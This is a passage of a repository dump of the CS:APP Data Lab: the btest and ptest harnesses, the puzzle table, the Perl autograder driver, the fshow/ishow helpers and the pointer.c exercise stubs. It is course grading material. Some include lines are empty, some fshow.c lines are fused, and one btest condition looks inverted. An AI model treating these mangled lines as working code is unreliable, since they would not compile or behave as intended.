432 | printf("Score\tRating\tErrors\tFunction\n");
433 |
434 | for (i = 0; test_set[i].solution_funct; i++) {
435 | int terrors;
436 | double tscore;
437 | double tpoints;
438 | if (!test_fname || strcmp(test_set[i].name,test_fname) == 0) {
439 | int rating = global_rating ? global_rating : test_set[i].rating;
440 | terrors = test_function(&test_set[i]);
441 | errors += terrors;
442 | tscore = terrors == 0 ? 1.0 : 0.0;
443 | tpoints = rating * tscore;
444 | points += tpoints;
445 | max_points += rating;
446 |
447 | if (grade || terrors < 1)
448 | printf(" %.0f\t%d\t%d\t%s\n",
449 | tpoints, rating, terrors, test_set[i].name);
450 |
451 | }
452 | }
453 |
454 | printf("Total points: %.0f/%.0f\n", points, max_points);
455 | return errors;
456 | }
457 |
458 | /*
459 | * get_num_val - Extract hex/decimal/or float value from string
460 | */
461 | static int get_num_val(char *sval, unsigned *valp) {
462 | char *endp;
463 |
464 | /* See if it's an integer or floating point */
465 | int ishex = 0;
466 | int isfloat = 0;
467 | int i;
468 | for (i = 0; sval[i]; i++) {
469 | switch (sval[i]) {
470 | case 'x':
471 | case 'X':
472 | ishex = 1;
473 | break;
474 | case 'e':
475 | case 'E':
476 | if (!ishex)
477 | isfloat = 1;
478 | break;
479 | case '.':
480 | isfloat = 1;
481 | break;
482 | default:
483 | break;
484 | }
485 | }
486 | if (isfloat) {
487 | float fval = strtof(sval, &endp);
488 | if (!*endp) {
489 | *valp = *(unsigned *) &fval;
490 | return 1;
491 | }
492 | return 0;
493 | } else {
494 | long long int llval = strtoll(sval, &endp, 0);
495 | long long int upperbits = llval >> 31;
496 | /* will give -1 for negative, 0 or 1 for positive */
497 | if (!*valp && (upperbits == 0 || upperbits == -1 || upperbits == 1)) {
498 | *valp = (unsigned) llval;
499 | return 1;
500 | }
501 | return 0;
502 | }
503 | }
504 |
505 |
506 | /*
507 | * usage - Display usage info
508 | */
509 | static void usage(char *cmd) {
510 | printf("Usage: %s [-hg] [-r ] [-f [-1|-2|-3 ]*] [-T ]\n", cmd);
511 | printf(" -1 Specify first function argument\n");
512 | printf(" -2 Specify second function argument\n");
513 | printf(" -3 Specify third function argument\n");
514 | printf(" -f Test only the named function\n");
515 | printf(" -g Compact output for grading (with no error msgs)\n");
516 | printf(" -h Print this message\n");
517 | printf(" -r Give uniform weight of n for all problems\n");
518 | printf(" -T Set timeout limit to lim\n");
519 | exit(1);
520 | }
521 |
522 |
523 | /**************
524 | * Main routine
525 | **************/
526 |
527 | int main(int argc, char *argv[])
528 | {
529 | //int errors;
530 | char c;
531 |
532 | /* parse command line args */
533 | while ((c = getopt(argc, argv, "hgf:r:T:1:2:3:")) != -1)
534 | switch (c) {
535 | case 'h': /* help */
536 | usage(argv[0]);
537 | break;
538 | case 'g': /* grading option for autograder */
539 | grade = 1;
540 | break;
541 | case 'f': /* test only one function */
542 | test_fname = strdup(optarg);
543 | break;
544 | case 'r': /* set global rating for each problem */
545 | global_rating = atoi(optarg);
546 | if (global_rating < 0)
547 | usage(argv[0]);
548 | break;
549 | case '1': /* Get first argument */
550 | has_arg[0] = get_num_val(optarg, &argval[0]);
551 | if (!has_arg[0]) {
552 | printf("Bad argument '%s'\n", optarg);
553 | exit(0);
554 | }
555 | break;
556 | case '2': /* Get first argument */
557 | has_arg[1] = get_num_val(optarg, &argval[1]);
558 | if (!has_arg[1]) {
559 | printf("Bad argument '%s'\n", optarg);
560 | exit(0);
561 | }
562 | break;
563 | case '3': /* Get first argument */
564 | has_arg[2] = get_num_val(optarg, &argval[2]);
565 | if (!has_arg[2]) {
566 | printf("Bad argument '%s'\n", optarg);
567 | exit(0);
568 | }
569 | break;
570 | case 'T': /* Set timeout limit */
571 | timeout_limit = atoi(optarg);
572 | break;
573 | default:
574 | usage(argv[0]);
575 | }
576 |
577 | if (timeout_limit > 0) {
578 | Signal(SIGALRM, timeout_handler);
579 | }
580 |
581 | /* test each function */
582 | run_tests();
583 |
584 | return 0;
585 | }
586 |
--------------------------------------------------------------------------------
/lab1/btest.h:
--------------------------------------------------------------------------------
1 | /*
2 | * CS:APP Data Lab
3 | */
4 |
5 | /* Declare different function types */
6 | typedef int (*funct_t) (void);
7 | typedef int (*funct1_t)(int);
8 | typedef int (*funct2_t)(int, int);
9 | typedef int (*funct3_t)(int, int, int);
10 |
11 | /* Combine all the information about a function and its tests as structure */
12 | typedef struct {
13 | char *name; /* String name */
14 | funct_t solution_funct; /* Function */
15 | funct_t test_funct; /* Test function */
16 | int args; /* Number of function arguments */
17 | char *ops; /* List of legal operators. Special case: "$" for floating point */
18 | int op_limit; /* Max number of ops allowed in solution */
19 | int rating; /* Problem rating (1 -- 4) */
20 | int arg_ranges[3][2]; /* Argument ranges. Always defined for 3 args, even if */
21 | /* the function takes fewer. Special case: First arg */
22 | /* must be set to {1,1} for f.p. puzzles */
23 | } test_rec, *test_ptr;
24 |
25 | extern test_rec test_set[];
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/lab1/decl.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define TMin INT_MIN
6 | #define TMax INT_MAX
7 |
8 | #include "btest.h"
9 | #include "bits.h"
10 |
11 | test_rec test_set[] = {
12 | // Rating: 1
13 |
14 |
15 |
16 |
17 | {"bitAnd", (funct_t) bitAnd, (funct_t) test_bitAnd, 2, "| ~", 8, 1,
18 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
19 | {"bitXor", (funct_t) bitXor, (funct_t) test_bitXor, 2, "& ~", 14, 1,
20 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
21 | {"thirdBits", (funct_t) thirdBits, (funct_t) test_thirdBits, 0,
22 | "! ~ & ^ | + << >>", 8, 1,
23 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
24 | // Rating: 2
25 | {"fitsBits", (funct_t) fitsBits, (funct_t) test_fitsBits, 2,
26 | "! ~ & ^ | + << >>", 15, 2,
27 | {{TMin, TMax},{1,32},{TMin,TMax}}},
28 | {"sign", (funct_t) sign, (funct_t) test_sign, 1, "! ~ & ^ | + << >>", 10, 2,
29 | {{-TMax, TMax},{TMin,TMax},{TMin,TMax}}},
30 | {"getByte", (funct_t) getByte, (funct_t) test_getByte, 2,
31 | "! ~ & ^ | + << >>", 6, 2,
32 | {{TMin, TMax},{0,3},{TMin,TMax}}},
33 | // Rating: 3
34 | {"logicalShift", (funct_t) logicalShift, (funct_t) test_logicalShift,
35 | 2, "! ~ & ^ | + << >>", 20, 3,
36 | {{TMin, TMax},{0,31},{TMin,TMax}}},
37 | {"addOK", (funct_t) addOK, (funct_t) test_addOK, 2,
38 | "! ~ & ^ | + << >>", 20, 3,
39 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
40 | {"invert", (funct_t) invert, (funct_t) test_invert, 3,
41 | "! ~ & ^ | + << >>", 20, 3,
42 | {{TMin, TMax},{0,15},{0,16}}},
43 | // Rating: 4
44 | {"bang", (funct_t) bang, (funct_t) test_bang, 1,
45 | "~ & ^ | + << >>", 12, 4,
46 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
47 | // Extra Credit: Rating: 3
48 | {"conditional", (funct_t) conditional, (funct_t) test_conditional, 3, "! ~ & ^ | << >>", 16, 3,
49 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
50 | // Extra Credit: Rating: 4
51 | {"isPower2", (funct_t) isPower2, (funct_t) test_isPower2, 1, "! ~ & ^ | + << >>", 20, 4,
52 | {{TMin, TMax},{TMin,TMax},{TMin,TMax}}},
53 | {"", NULL, NULL, 0, "", 0, 0,
54 | {{0, 0},{0,0},{0,0}}}
55 | };
56 |
--------------------------------------------------------------------------------
/lab1/dlc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab1/dlc
--------------------------------------------------------------------------------
/lab1/driver.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 | #######################################################################
3 | # driver.pl - CS:APP Data Lab driver
4 | #
5 | # Copyright (c) 2004-2011, R. Bryant and D. O'Hallaron, All rights
6 | # reserved. May not be used, modified, or copied without permission.
7 | #
8 | # Note: The driver can use either btest or the BDD checker to check
9 | # puzzles for correctness. This version of the lab uses btest, which
10 | # has been extended to do better testing of both integer and
11 | # floating-point puzzles.
12 | #
13 | #######################################################################
14 |
15 | use strict 'vars';
16 | use Getopt::Std;
17 |
18 | # Set to 1 to use btest, 0 to use the BDD checker.
19 | my $USE_BTEST = 1;
20 |
21 | # Generic settings
22 | $| = 1; # Flush stdout each time
23 | umask(0077); # Files created by the user in tmp readable only by that user
24 | $ENV{PATH} = "/usr/local/bin:/usr/bin:/bin";
25 |
26 | #
27 | # usage - print help message and terminate
28 | #
29 | sub usage {
30 | printf STDERR "$_[0]\n";
31 | printf STDERR "Usage: $0 [-h]\n";
32 | printf STDERR "Options:\n";
33 | printf STDERR " -h Print this message.\n";
34 | die "\n";
35 | }
36 |
37 | ##############
38 | # Main routine
39 | ##############
40 | my $login = getlogin() || (getpwuid($<))[0] || "unknown";
41 | my $tmpdir = "/var/tmp/datalab.$login.$$";
42 | my $diemsg = "The files are in $tmpdir.";
43 |
44 | my $driverfiles;
45 | my $infile;
46 | my $autograded;
47 |
48 | my $status;
49 | my $inpuzzles;
50 | my $puzzlecnt;
51 | my $line;
52 | my $blank;
53 | my $name;
54 | my $c_points;
55 | my $c_rating;
56 | my $c_errors;
57 | my $p_points;
58 | my $p_rating;
59 | my $p_errors;
60 | my $total_c_points;
61 | my $total_c_rating;
62 | my $total_p_points;
63 | my $total_p_rating;
64 | my $tops;
65 | my $tpoints;
66 | my $trating;
67 | my $foo;
68 | my $name;
69 | my $msg;
70 |
71 | my $result;
72 |
73 | my %puzzle_c_points;
74 | my %puzzle_c_rating;
75 | my %puzzle_c_errors;
76 | my %puzzle_p_points;
77 | my %puzzle_p_ops;
78 | my %puzzle_p_maxops;
79 | my %puzzle_number;
80 |
81 |
82 | # Parse the command line arguments
83 | no strict;
84 | getopts('hu:f:A');
85 | if ($opt_h) {
86 | usage();
87 | }
88 |
89 | $infile = "bits.c";
90 | $userid = "";
91 |
92 | #####
93 | # These are command line args that every driver must support
94 | #
95 |
96 | # Causes the driver to send an autoresult to the server on behalf of user
97 | if ($opt_u) {
98 | $userid = $opt_u;
99 | }
100 |
101 | # Hidden flag that indicates that the driver was invoked by an autograder
102 | if ($opt_A) {
103 | $autograded = $opt_A;
104 | }
105 |
106 | #####
107 | # Drivers can also define an arbitary number of other command line args
108 | #
109 | # Optional hidden flag used by the autograder
110 | if ($opt_f) {
111 | $infile = $opt_f;
112 | }
113 |
114 | use strict 'vars';
115 |
116 | ################################################
117 | # Compute the correctness and performance scores
118 | ################################################
119 |
120 | # Make sure that an executable dlc (data lab compiler) exists
121 | (-e "./dlc" and -x "./dlc")
122 | or die "$0: ERROR: No executable dlc binary.\n";
123 |
124 |
125 | # If using the bdd checker, then make sure it exists
126 | if (!$USE_BTEST) {
127 | (-e "./bddcheck/cbit/cbit" and -x "./bddcheck/cbit/cbit")
128 | or die "$0: ERROR: No executable cbit binary.\n";
129 | }
130 |
131 | #
132 | # Set up the contents of the scratch directory
133 | #
134 | system("mkdir $tmpdir") == 0
135 | or die "$0: Could not make scratch directory $tmpdir.\n";
136 |
137 | # Copy the student's work to the scratch directory
138 | unless (system("cp $infile $tmpdir/bits.c") == 0) {
139 | clean($tmpdir);
140 | die "$0: Could not copy file $infile to scratch directory $tmpdir.\n";
141 | }
142 |
143 | # Copy the various autograding files to the scratch directory
144 | if ($USE_BTEST) {
145 | $driverfiles = "Makefile dlc btest.c decl.c tests.c btest.h bits.h";
146 | unless (system("cp -r $driverfiles $tmpdir") == 0) {
147 | clean($tmpdir);
148 | die "$0: Could not copy autogradingfiles to $tmpdir.\n";
149 | }
150 | }
151 | else {
152 | $driverfiles = "dlc tests.c bddcheck";
153 | unless (system("cp -r $driverfiles $tmpdir") == 0) {
154 | clean($tmpdir);
155 | die "$0: Could not copy support files to $tmpdir.\n";
156 | }
157 | }
158 |
159 | # Change the current working directory to the scratch directory
160 | unless (chdir($tmpdir)) {
161 | clean($tmpdir);
162 | die "$0: Could not change directory to $tmpdir.\n";
163 | }
164 |
165 | #
166 | # Generate a zapped (for coding rules) version of bits.c. In this
167 | # zapped version of bits.c, any functions with illegal operators are
168 | # transformed to have empty function bodies.
169 | #
170 | print "1. Running './dlc -z' to identify coding rules violations.\n";
171 | system("cp bits.c save-bits.c") == 0
172 | or die "$0: ERROR: Could not create backup copy of bits.c. $diemsg\n";
173 | system("./dlc -z -o zap-bits.c bits.c") == 0
174 | or die "$0: ERROR: zapped bits.c did not compile. $diemsg\n";
175 |
176 | #
177 | # Run btest or BDD checker to determine correctness score
178 | #
179 | if ($USE_BTEST) {
180 | print "\n2. Compiling and running './btest -g' to determine correctness score.\n";
181 | system("cp zap-bits.c bits.c");
182 |
183 | # Compile btest
184 | system("make btestexplicit") == 0
185 | or die "$0: Could not make btest in $tmpdir. $diemsg\n";
186 |
187 | # Run btest
188 | $status = system("./btest -g > btest-zapped.out 2>&1");
189 | if ($status != 0) {
190 | die "$0: ERROR: btest check failed. $diemsg\n";
191 | }
192 | }
193 | else {
194 | print "\n2. Running './bddcheck/check.pl -g' to determine correctness score.\n";
195 | system("cp zap-bits.c bits.c");
196 | $status = system("./bddcheck/check.pl -g > btest-zapped.out 2>&1");
197 | if ($status != 0) {
198 | die "$0: ERROR: BDD check failed. $diemsg\n";
199 | }
200 | }
201 |
202 | #
203 | # Run dlc to identify operator count violations.
204 | #
205 | print "\n3. Running './dlc -Z' to identify operator count violations.\n";
206 | system("./dlc -Z -o Zap-bits.c save-bits.c") == 0
207 | or die "$0: ERROR: dlc unable to generated Zapped bits.c file.\n";
208 |
209 | #
210 | # Run btest or the bdd checker to compute performance score
211 | #
212 | if ($USE_BTEST) {
213 | print "\n4. Compiling and running './btest -g -r 2' to determine performance score.\n";
214 | system("cp Zap-bits.c bits.c");
215 |
216 | # Compile btest
217 | system("make btestexplicit") == 0
218 | or die "$0: Could not make btest in $tmpdir. $diemsg\n";
219 | print "\n";
220 |
221 | # Run btest
222 | $status = system("./btest -g -r 2 > btest-Zapped.out 2>&1");
223 | if ($status != 0) {
224 | die "$0: ERROR: Zapped btest failed. $diemsg\n";
225 | }
226 | }
227 | else {
228 | print "\n4. Running './bddcheck/check.pl -g -r 2' to determine performance score.\n";
229 | system("cp Zap-bits.c bits.c");
230 | $status = system("./bddcheck/check.pl -g -r 2 > btest-Zapped.out 2>&1");
231 | if ($status != 0) {
232 | die "$0: ERROR: Zapped bdd checker failed. $diemsg\n";
233 | }
234 | }
235 |
236 | #
237 | # Run dlc to get the operator counts on the zapped input file
238 | #
239 | print "\n5. Running './dlc -e' to get operator count of each function.\n";
240 | $status = system("./dlc -W1 -e zap-bits.c > dlc-opcount.out 2>&1");
241 | if ($status != 0) {
242 | die "$0: ERROR: bits.c did not compile. $diemsg\n";
243 | }
244 |
245 | #################################################################
246 | # Collect the correctness and performance results for each puzzle
247 | #################################################################
248 |
249 | #
250 | # Collect the correctness results
251 | #
252 | %puzzle_c_points = (); # Correctness score computed by btest
253 | %puzzle_c_errors = (); # Correctness error discovered by btest
254 | %puzzle_c_rating = (); # Correctness puzzle rating (max points)
255 |
256 | $inpuzzles = 0; # Becomes true when we start reading puzzle results
257 | $puzzlecnt = 0; # Each puzzle gets a unique number
258 | $total_c_points = 0;
259 | $total_c_rating = 0;
260 |
261 | open(INFILE, "$tmpdir/btest-zapped.out")
262 | or die "$0: ERROR: could not open input file $tmpdir/btest-zapped.out\n";
263 |
264 | while ($line = ) {
265 | chomp($line);
266 |
267 | # Notice that we're ready to read the puzzle scores
268 | if ($line =~ /^Score/) {
269 | $inpuzzles = 1;
270 | next;
271 | }
272 |
273 | # Notice that we're through reading the puzzle scores
274 | if ($line =~ /^Total/) {
275 | $inpuzzles = 0;
276 | next;
277 | }
278 |
279 | # Read and record a puzzle's name and score
280 | if ($inpuzzles) {
281 | ($blank, $c_points, $c_rating, $c_errors, $name) = split(/\s+/, $line);
282 | $puzzle_c_points{$name} = $c_points;
283 | $puzzle_c_errors{$name} = $c_errors;
284 | $puzzle_c_rating{$name} = $c_rating;
285 | $puzzle_number{$name} = $puzzlecnt++;
286 | $total_c_points += $c_points;
287 | $total_c_rating += $c_rating;
288 | }
289 |
290 | }
291 | close(INFILE);
292 |
293 | #
294 | # Collect the performance results
295 | #
296 | %puzzle_p_points = (); # Performance points
297 |
298 | $inpuzzles = 0; # Becomes true when we start reading puzzle results
299 | $total_p_points = 0;
300 | $total_p_rating = 0;
301 |
302 | open(INFILE, "$tmpdir/btest-Zapped.out")
303 | or die "$0: ERROR: could not open input file $tmpdir/btest-Zapped.out\n";
304 |
305 | while ($line = ) {
306 | chomp($line);
307 |
308 | # Notice that we're ready to read the puzzle scores
309 | if ($line =~ /^Score/) {
310 | $inpuzzles = 1;
311 | next;
312 | }
313 |
314 | # Notice that we're through reading the puzzle scores
315 | if ($line =~ /^Total/) {
316 | $inpuzzles = 0;
317 | next;
318 | }
319 |
320 | # Read and record a puzzle's name and score
321 | if ($inpuzzles) {
322 | ($blank, $p_points, $p_rating, $p_errors, $name) = split(/\s+/, $line);
323 | $puzzle_p_points{$name} = $p_points;
324 | $total_p_points += $p_points;
325 | $total_p_rating += $p_rating;
326 | }
327 | }
328 | close(INFILE);
329 |
330 | #
331 | # Collect the operator counts generated by dlc
332 | #
333 | open(INFILE, "$tmpdir/dlc-opcount.out")
334 | or die "$0: ERROR: could not open input file $tmpdir/dlc-opcount.out\n";
335 |
336 | $tops = 0;
337 | while ($line = ) {
338 | chomp($line);
339 |
340 | if ($line =~ /(\d+) operators/) {
341 | ($foo, $foo, $foo, $name, $msg) = split(/:/, $line);
342 | $puzzle_p_ops{$name} = $1;
343 | $tops += $1;
344 | }
345 | }
346 | close(INFILE);
347 |
348 | #
349 | # Print a table of results sorted by puzzle number
350 | #
351 | print "\n";
352 | printf("%s\t%s\n", "Correctness Results", "Perf Results");
353 | printf("%s\t%s\t%s\t%s\t%s\t%s\n", "Points", "Rating", "Errors",
354 | "Points", "Ops", "Puzzle");
355 | foreach $name (sort {$puzzle_number{$a} <=> $puzzle_number{$b}}
356 | keys %puzzle_number) {
357 | printf("%d\t%d\t%d\t%d\t%d\t\%s\n",
358 | $puzzle_c_points{$name},
359 | $puzzle_c_rating{$name},
360 | $puzzle_c_errors{$name},
361 | $puzzle_p_points{$name},
362 | $puzzle_p_ops{$name},
363 | $name);
364 | }
365 |
366 | $tpoints = $total_c_points + $total_p_points;
367 | $trating = $total_c_rating + $total_p_rating;
368 |
369 | print "\nScore = $tpoints/$trating [$total_c_points/$total_c_rating Corr + $total_p_points/$total_p_rating Perf] ($tops total operators)\n";
370 |
371 |
372 | # Clean up and exit
373 | clean ($tmpdir);
374 | exit;
375 |
376 | #
377 | # clean - remove the scratch directory
378 | #
379 | sub clean {
380 | my $tmpdir = shift;
381 | system("rm -rf $tmpdir");
382 | }
383 |
384 |
--------------------------------------------------------------------------------
/lab1/fshow:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab1/fshow
--------------------------------------------------------------------------------
/lab1/fshow.c:
--------------------------------------------------------------------------------
1 | /* Display structure of floating-point numbers */
2 |
3 | #include
4 | #include
5 | float strtof(const char *nptr, char **endptr);
6 |
7 | #define FLOAT_SIZE 32
8 | #define FRAC_SIZE 23
9 | #define EXP_SIZE 8
10 | #define BIAS ((1<<(EXP_SIZE-1))-1)
11 | #define FRAC_MASK ((1<>FRAC_SIZE) & EXP_MASK;
40 | }
41 |
42 | /* Get fraction */
43 | unsigned get_frac(unsigned uf)
44 | {
45 | return uf & FRAC_MASK;
46 | }
47 |
48 | /* Get sign */
49 | unsigned get_sign(unsigned uf)
50 | {
51 | return (uf>>(FLOAT_SIZE-1)) & 0x1;
52 | }
53 |
54 | void show_float(unsigned uf)
55 | {
56 | float f = u2f(uf);
57 | unsigned exp = get_exp(uf);
58 | unsigned frac = get_frac(uf);
59 | unsigned sign = get_sign(uf);
60 |
61 | printf("\nFloating point value %.10g\n", f);
62 | printf("Bit Representation 0x%.8x, sign = %x, exponent = 0x%.2x, fraction = 0x%.6x\n",
63 | uf, sign, exp, frac);
64 | if (exp == EXP_MASK) {
65 | if (frac == 0) {
66 | printf("%cInfinity\n", sign ? '-' : '+');
67 | } else
68 | printf("Not-A-Number\n");
69 | } else {
70 | int denorm = (exp == 0);
71 | int uexp = denorm ? 1-BIAS : exp - BIAS;
72 | int mantissa = denorm ? frac : frac + (1<> 31;
116 | /* will give -1 for negative, 0 or 1 for positive */
117 | if (valp && (upperbits == 0 || upperbits == -1 || upperbits == 1)) {
118 | *valp = (unsigned) llval;
119 | return 1;
120 | }
121 | return 0;
122 | }
123 | }
124 |
125 |
126 | void usage(char *fname) {
127 | printf("Usage: %s val1 val2 ...\n", fname);
128 | printf("Values may be given as hex patterns or as floating point numbers\n");
129 | exit(0);
130 | }
131 |
132 |
133 | int main(int argc, char *argv[])
134 | {
135 | int i;
136 | unsigned uf;
137 | if (argc < 2)
138 | usage(argv[0]);
139 | for (i = 1; i < argc; i++) {
140 | char *sval = argv[i];
141 | if (get_num_val(sval, &uf)) {
142 | show_float(uf);
143 | } else {
144 | printf("Invalid 32-bit number: '%s'\n", sval);
145 | usage(argv[0]);
146 | }
147 | }
148 | return 0;
149 | }
150 |
151 |
152 |
--------------------------------------------------------------------------------
/lab1/ishow:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab1/ishow
--------------------------------------------------------------------------------
/lab1/ishow.c:
--------------------------------------------------------------------------------
1 | /* Display value of fixed point numbers */
2 | #include
3 | #include
4 |
5 | /* Extract hex/decimal/or float value from string */
6 | static int get_num_val(char *sval, unsigned *valp) {
7 | char *endp;
8 | /* See if it's an integer or floating point */
9 | int ishex = 0;
10 | int isfloat = 0;
11 | int i;
12 | for (i = 0; sval[i]; i++) {
13 | switch (sval[i]) {
14 | case 'x':
15 | case 'X':
16 | ishex = 1;
17 | break;
18 | case 'e':
19 | case 'E':
20 | if (!ishex)
21 | isfloat = 1;
22 | break;
23 | case '.':
24 | isfloat = 1;
25 | break;
26 | default:
27 | break;
28 | }
29 | }
30 | if (isfloat) {
31 | return 0; /* Not supposed to have a float here */
32 | } else {
33 | long long int llval = strtoll(sval, &endp, 0);
34 | long long int upperbits = llval >> 31;
35 | /* will give -1 for negative, 0 or 1 for positive */
36 | if (valp && (upperbits == 0 || upperbits == -1 || upperbits == 1)) {
37 | *valp = (unsigned) llval;
38 | return 1;
39 | }
40 | return 0;
41 | }
42 | }
43 |
44 | void show_int(unsigned uf)
45 | {
46 | printf("Hex = 0x%.8x,\tSigned = %d,\tUnsigned = %u\n",
47 | uf, (int) uf, uf);
48 | }
49 |
50 |
51 | void usage(char *fname) {
52 | printf("Usage: %s val1 val2 ...\n", fname);
53 | printf("Values may be given in hex or decimal\n");
54 | exit(0);
55 | }
56 |
57 | int main(int argc, char *argv[])
58 | {
59 | int i;
60 | unsigned uf;
61 | if (argc < 2)
62 | usage(argv[0]);
63 | for (i = 1; i < argc; i++) {
64 | char *sval = argv[i];
65 | if (get_num_val(sval, &uf)) {
66 | show_int(uf);
67 | } else {
68 | printf("Cannot convert '%s' to 32-bit number\n", sval);
69 | }
70 | }
71 | return 0;
72 | }
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/lab1/pointer.c:
--------------------------------------------------------------------------------
1 | /*
2 | * CSE 351 HW1 (Data Lab - Pointers)
3 | *
4 | *
5 | *
6 | * pointer.c - Source file with your solutions to the Lab.
7 | * This is the file you will hand in to your instructor.
8 | *
9 | * WARNING: Do not include the header; it confuses the dlc
10 | * compiler. You can still use printf for debugging without including
11 | * , the following function declaration should prevent a
12 | * compiler warning. In general, it's not good practice to ignore
13 | * compiler warnings, but in this case it's OK.
14 | */
15 | int printf(const char *, ...);
16 |
17 | #if 0
18 | /*
19 | * Instructions to Students:
20 | *
21 | * STEP 1: Read the following instructions carefully.
22 | */
23 |
24 | You will provide your solution to this homework by
25 | editing the collection of functions in this source file.
26 |
27 | INTEGER CODING RULES:
28 |
29 | Replace the "return" statement in each function with one
30 | or more lines of C code that implements the function. Your code
31 | must conform to the following style:
32 |
33 | int Funct(arg1, arg2, ...) {
34 | /* brief description of how your implementation works */
35 | int var1 = Expr1;
36 | ...
37 | int varM = ExprM;
38 |
39 | varJ = ExprJ;
40 | ...
41 | varN = ExprN;
42 | return ExprR;
43 | }
44 |
45 | Each "Expr" is an expression using ONLY the following:
46 | 1. Integer constants 0 through 255 (0xFF), inclusive. You are
47 | not allowed to use big constants such as 0xffffffff.
48 | 2. Function arguments and local variables (no global variables).
49 | 3. For 1-3, only Unary integer operations *, & and Binary integer
50 | operations - + * are allowed. For the last three, you may also
51 | use shifts (<<, >>), ~, ==, and ^.
52 |
53 | Some of the problems restrict the set of allowed operators even further.
54 | Each "Expr" may consist of multiple operators. You are not restricted to
55 | one operator per line.
56 |
57 | You are expressly forbidden to:
58 | 1. Use any control constructs such as if, do, while, for, switch, etc.
59 | 2. Define or use any macros.
60 | 3. Define any additional functions in this file.
61 | 4. Call any functions.
62 | 5. Use any other operations, such as &&, ||, ?: or sizeof.
63 | 6. Use any data type other than those already in the declarations provided.
64 |
65 | You may assume that your machine:
66 | 1. Uses 2s complement, 32-bit representations of integers.
67 | 2. Performs right shifts arithmetically.
68 | 3. Has unpredictable behavior when shifting an integer by more
69 | than the word size.
70 |
71 | /*
72 | * STEP 2: Modify the following functions according the coding rules.
73 | *
74 | * Test the code below in your own 'main' program.
75 | *
76 | */
77 |
78 | #endif
79 |
80 | /*
81 | * Return the size of an integer in bytes.
82 | */
83 | int intSize() {
84 | int intArray[10];
85 | int * intPtr1;
86 | int * intPtr2;
87 | // Write code to compute size of an integer.
88 |
89 | return 2;
90 | }
91 |
92 | /*
93 | * Return the size of a double in bytes.
94 | */
95 | int doubleSize() {
96 | double doubArray[10];
97 | double * doubPtr1;
98 | double * doubPtr2;
99 | // Write code to compute size of a double.
100 |
101 |
102 | return 2;
103 | }
104 |
105 | /*
106 | * Return the size of a pointer in bytes.
107 | */
108 | int pointerSize() {
109 | double * ptrArray[10];
110 | double ** ptrPtr1;
111 | double ** ptrPtr2;
112 | // Write code to compute size of a pointer.
113 |
114 | return 2;
115 | }
116 |
117 | /*
118 | * Modify intArray[5] to be the value 351 using only &intArray and pointer arithmetic.
119 | */
120 | int changeValue() {
121 | int intArray[10];
122 | int * intPtr1 = intArray;
123 | // Write code to change value of intArray[5] to 351 using only intPtr1 and the + operator.
124 | // Remember not to use constants greater than 255.
125 |
126 | return intArray[5];
127 | }
128 |
129 |
130 | /*
131 | * Return 1 if ptr1 and ptr2 are within the *same* 64-byte aligned block (or
132 | * word) of memory. Return zero otherwise.
133 | * Operators / and % and loops are NOT allowed.
134 | */
135 | int withinSameBlock(int * ptr1, int * ptr2) {
136 | return 2;
137 | }
138 |
139 | /*
140 | * Return 1 if ptr points to an element within the specified intArray, 0 otherwise.
141 | */
142 | int withinArray(int * intArray, int size, int * ptr) {
143 | return 2;
144 | }
145 |
--------------------------------------------------------------------------------
/lab1/pointer.h:
--------------------------------------------------------------------------------
1 | int intSize();
2 | int doubleSize();
3 | int pointerSize();
4 | int changeValue();
5 | int withinSameBlock(int *, int *);
6 | int withinArray(int *, int, int *);
7 | int invert(int, int, int);
8 |
--------------------------------------------------------------------------------
/lab1/ptest:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab1/ptest
--------------------------------------------------------------------------------
/lab1/ptest.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Test harness for pointer.c
3 | *
4 | * By: Dustin Lundquist
5 | */
6 |
7 | #include
8 | #include "pointer.h"
9 |
10 | typedef struct test_s {
11 | char *function_name;
12 | int (*function_under_test)();
13 | int expected_result;
14 | } test;
15 |
16 | typedef struct withinSameBlock_args_s {
17 | char * function_name;
18 | int * ptr1;
19 | int * ptr2;
20 | int expected_result;
21 | } withinSameBlock_args;
22 |
23 | typedef struct withinArray_args_s {
24 | char * function_name;
25 | int * base;
26 | int size;
27 | int * ptr;
28 | int expected_result;
29 | } withinArray_args;
30 |
31 | static test tests[] = {
32 | { "intSize()", intSize, sizeof(int) },
33 | { "doubleSize()", doubleSize, sizeof(double) },
34 | { "pointerSize()", pointerSize, sizeof(void *) },
35 | { "changeValue()", changeValue, 351 },
36 | { NULL, NULL, 0 }
37 | };
38 |
39 | static withinSameBlock_args box_args[] = {
40 | {"withinSameBlock", (int *) 0x1, (int *) 72, 0},
41 | {"withinSameBlock", (int *) 0x1, (int *) 4, 1},
42 | {"withinSameBlock", (int *) 0x12345678, (int *) 0x1, 0},
43 | {"withinSameBlock", (int *) 0x12345678, (int *) 0x12345658, 1},
44 | {"withinSameBlock", (int *) 0x12345678, (int *) 0x12345686, 0},
45 | {NULL, NULL, NULL, 0}
46 | };
47 |
48 | static withinArray_args arr_args[] = {
49 | {"withinArray", (int *) 0x1, 4, (int *) 0xd, 1},
50 | {"withinArray", (int *) 0x1, 4, (int *) 0x11, 0},
51 | {"withinArray", (int *) 0x14, 4, (int *) 0xd, 0},
52 | {NULL, NULL, 0, NULL, 0}
53 | };
54 |
55 | int main(int argc, char **argv) {
56 | int result;
57 | int score = 0;
58 | test * t;
59 |
